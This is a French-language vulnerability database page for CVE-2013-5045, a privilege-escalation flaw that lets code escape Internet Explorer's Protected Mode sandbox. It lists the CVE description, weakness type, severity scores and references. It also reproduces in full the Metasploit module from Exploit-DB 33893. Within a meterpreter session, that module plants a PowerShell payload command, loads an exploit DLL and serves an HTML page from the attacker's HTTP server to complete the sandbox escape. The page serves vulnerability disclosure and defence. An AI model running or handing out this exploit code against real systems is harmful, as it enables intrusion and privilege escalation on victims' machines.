CVE-2013-5045 : Détail

CVE-2013-5045

A03-Injection
0.1%V3
Local
2013-12-10
23h00 +00:00
2018-10-12
17h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Microsoft Internet Explorer 10 and 11 allows local users to bypass the Protected Mode protection mechanism, and consequently gain privileges, by leveraging the ability to execute sandboxed code, aka "Internet Explorer Elevation of Privilege Vulnerability."

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.2 AV:L/AC:H/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33893

Date de publication : 2014-06-26 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' require 'msf/core/exploit/exe' require 'msf/core/exploit/powershell' class Metasploit3 < Msf::Exploit::Local Rank = GreatRanking include Msf::Exploit::Powershell include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpServer include Msf::Post::Windows::Priv def initialize(info={}) super( update_info( info, 'Name' => 'MS13-097 Registry Symlink IE Sandbox Escape', 'Description' => %q{ This module exploits a vulnerability in Internet Explorer Sandbox which allows to escape the Enhanced Protected Mode and execute code with Medium Integrity. The vulnerability exists in the IESetProtectedModeRegKeyOnly function from the ieframe.dll component, which can be abused to force medium integrity IE to user influenced keys. By using registry symlinks it's possible force IE to add a policy entry in the registry and finally bypass Enhanced Protected Mode. }, 'License' => MSF_LICENSE, 'Author' => [ 'James Forshaw', # Vulnerability Discovery and original exploit code 'juan vazquez' # metasploit module ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ [ 'IE 8 - 11', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Dec 10 2013", 'References' => [ ['CVE', '2013-5045'], ['MSB', 'MS13-097'], ['BID', '64115'], ['URL', 'https://github.com/tyranid/IE11SandboxEscapes'] ] )) register_options( [ OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]) ]) end def exploit print_status("Running module against #{sysinfo['Computer']}") unless sysinfo.nil? mod_handle = session.railgun.kernel32.GetModuleHandleA('iexplore.exe') if mod_handle['return'] == 0 fail_with(Failure::NotVulnerable, "Not running inside an Internet Explorer process") end unless get_integrity_level == INTEGRITY_LEVEL_SID[:low] fail_with(Failure::NotVulnerable, "Not running at Low Integrity") end begin Timeout.timeout(datastore['DELAY']) { super } rescue Timeout::Error end session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", nil) session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", nil) end def primer cmd = cmd_psh_payload(payload.encoded).gsub('%COMSPEC% /B /C start powershell.exe ','').strip session.railgun.kernel32.SetEnvironmentVariableA("PSH_CMD", cmd) html_uri = "#{get_uri}/#{rand_text_alpha(4 + rand(4))}.html" session.railgun.kernel32.SetEnvironmentVariableA("HTML_URL", html_uri) temp = get_env('TEMP') print_status("Loading Exploit Library...") session.core.load_library( 'LibraryFilePath' => ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-5045", "CVE-2013-5045.dll"), 'TargetFilePath' => temp + "\\CVE-2013-5045.dll", 'UploadLibrary' => true, 'Extension' => false, 'SaveToDisk' => false ) end def on_request_uri(cli, request) if request.uri =~ /\.html$/ print_status("Sending window close html...") close_html = <<-eos <html> <body> <script> window.open('', '_self', ''); window.close(); </script> </body> </html> eos send_response(cli, close_html, { 'Content-Type' => 'text/html' }) else send_not_found(cli) end end end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 10

Microsoft>>Internet_explorer >> Version 11

Références

http://www.osvdb.org/100757
Tags : vdb-entry, x_refsource_OSVDB
http://www.exploit-db.com/exploits/33893
Tags : exploit, x_refsource_EXPLOIT-DB